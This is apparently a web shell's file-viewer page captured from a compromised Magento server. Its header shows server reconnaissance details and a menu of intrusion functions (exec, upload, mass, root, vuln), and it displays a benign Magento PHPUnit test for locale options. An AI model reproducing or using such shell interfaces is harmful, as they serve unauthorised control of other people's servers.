Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 15:12:36
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/Locale/Test/Unit/Deployed/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/Locale/Test/Unit/Deployed/OptionsTest.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Framework\Locale\Test\Unit\Deployed; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\State; use Magento\Framework\Config\ConfigOptionsListConstants as Constants; use Magento\Framework\Locale\AvailableLocalesInterface; use Magento\Framework\Locale\Deployed\Options; use Magento\Framework\Locale\ListsInterface; use Magento\Framework\View\Design\ThemeInterface; use Magento\Framework\View\DesignInterface; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; /** * Test for Options class. * * @see Options */ class OptionsTest extends TestCase { /** * @var State|MockObject */ private $stateMock; /** * @var AvailableLocalesInterface|MockObject */ private $availableLocalesMock; /** * @var DesignInterface|MockObject */ private $designMock; /** * @var ListsInterface|MockObject */ private $localeListsMock; /** * @var DeploymentConfig|MockObject */ private $deploymentConfigMock; /** * @var Options */ private $model; /** * @inheritdoc */ protected function setUp(): void { $this->stateMock = $this->getMockBuilder(State::class) ->disableOriginalConstructor() ->getMock(); $this->availableLocalesMock = $this->getMockBuilder(AvailableLocalesInterface::class) ->getMockForAbstractClass(); $this->designMock = $this->getMockBuilder(DesignInterface::class) ->getMockForAbstractClass(); $this->localeListsMock = $this->getMockBuilder(ListsInterface::class) ->getMockForAbstractClass(); $this->deploymentConfigMock = $this->createMock(DeploymentConfig::class); $this->model = new Options( $this->localeListsMock, $this->stateMock, $this->availableLocalesMock, $this->designMock, $this->deploymentConfigMock ); } /** * @param string $mode * @param int $scdOnDemand * @param array $locales * @return void * * @dataProvider getFullLocalesDataProvider */ public function testGetOptionLocalesFull(string $mode, int $scdOnDemand, array $locales): void { $this->localeListsMock->expects($this->once()) ->method('getOptionLocales') ->willReturn($locales); $this->prepareGetLocalesFull($mode, $scdOnDemand); $this->assertEquals($locales, array_values($this->model->getOptionLocales())); } /** * @param string $mode * @param int $scdOnDemand * @param array $locales * @return void * * @dataProvider getFullLocalesDataProvider */ public function testGetTranslatedOptionLocalesFull(string $mode, int $scdOnDemand, array $locales): void { $this->localeListsMock->expects($this->once()) ->method('getTranslatedOptionLocales') ->willReturn($locales); $this->prepareGetLocalesFull($mode, $scdOnDemand); $this->assertEquals($locales, array_values($this->model->getTranslatedOptionLocales())); } /** * @param string $mode * @param int $scdOnDemand * @param array $locales * @param array $expectedLocales * @param array $deployedCodes * @return void * * @dataProvider getLimitedLocalesDataProvider */ public function testGetOptionLocalesLimited( string $mode, int $scdOnDemand, array $locales, array $expectedLocales, array $deployedCodes ): void { $this->localeListsMock->expects($this->once()) ->method('getOptionLocales') ->willReturn($locales); $this->prepareGetLocalesLimited($mode, $scdOnDemand, $deployedCodes); $this->assertEquals($expectedLocales, array_values($this->model->getOptionLocales())); } /** * @param string $mode * @param int $scdOnDemand * @param array $locales * @param array $expectedLocales * @param array $deployedCodes * @return void * * @dataProvider getLimitedLocalesDataProvider */ public function testGetTranslatedOptionLocalesLimited( string $mode, int $scdOnDemand, array $locales, array $expectedLocales, array $deployedCodes ): void { $this->localeListsMock->expects($this->once()) ->method('getTranslatedOptionLocales') ->willReturn($locales); $this->prepareGetLocalesLimited($mode, $scdOnDemand, $deployedCodes); $this->assertEquals($expectedLocales, array_values($this->model->getTranslatedOptionLocales())); } /** * @param string $mode * @param int $scdOnDemand * @param array $deployedCodes * @return void */ private function prepareGetLocalesLimited(string $mode, int $scdOnDemand, $deployedCodes): void { $this->stateMock->expects($this->once()) ->method('getMode') ->willReturn($mode); $this->deploymentConfigMock->expects($this->any()) ->method('getConfigData') ->with(Constants::CONFIG_PATH_SCD_ON_DEMAND_IN_PRODUCTION) ->willReturn($scdOnDemand); $area = 'area'; $code = 'code'; $themeMock = $this->getMockBuilder(ThemeInterface::class) ->getMockForAbstractClass(); $themeMock->expects($this->once()) ->method('getCode') ->willReturn($code); $themeMock->expects($this->once()) ->method('getArea') ->willReturn($area); $this->designMock->expects($this->once()) ->method('getDesignTheme') ->willReturn($themeMock); $this->availableLocalesMock->expects($this->once()) ->method('getList') ->with($code, $area) ->willReturn($deployedCodes); } /** * @param string $mode * @param int $scdOnDemand * @return void */ private function prepareGetLocalesFull(string $mode, int $scdOnDemand): void { $this->stateMock->expects($this->once()) ->method('getMode') ->willReturn($mode); $this->deploymentConfigMock->expects($this->any()) ->method('getConfigData') ->with(Constants::CONFIG_PATH_SCD_ON_DEMAND_IN_PRODUCTION) ->willReturn($scdOnDemand); $this->designMock->expects($this->never()) ->method('getDesignTheme'); } /** * @return array */ public function getFullLocalesDataProvider(): array { $deLocale = [ 'value' => 'de_DE', 'label' => 'German (German)' ]; $daLocale = [ 'value' => 'da_DK', 'label' => 'Danish (Denmark)' ]; return [ [ State::MODE_PRODUCTION, 1, [$daLocale, $deLocale], ], [ State::MODE_DEVELOPER, 0, [$daLocale, $deLocale], ], [ State::MODE_DEVELOPER, 1, [$deLocale], ], [ State::MODE_DEFAULT, 0, [$daLocale], ], [ State::MODE_DEFAULT, 1, [$daLocale, $deLocale], ], ]; } /** * @return array */ public function getLimitedLocalesDataProvider(): array { $deLocale = [ 'value' => 'de_DE', 'label' => 'German (German)' ]; $daLocale = [ 'value' => 'da_DK', 'label' => 'Danish (Denmark)' ]; return [ [ State::MODE_PRODUCTION, 0, [ $daLocale, $deLocale ], [ $deLocale ], [ 'de_DE' ] ], [ State::MODE_PRODUCTION, 0, [ $daLocale, $deLocale ], [ $daLocale, $deLocale ], [ 'da_DK', 'de_DE' ] ], ]; } }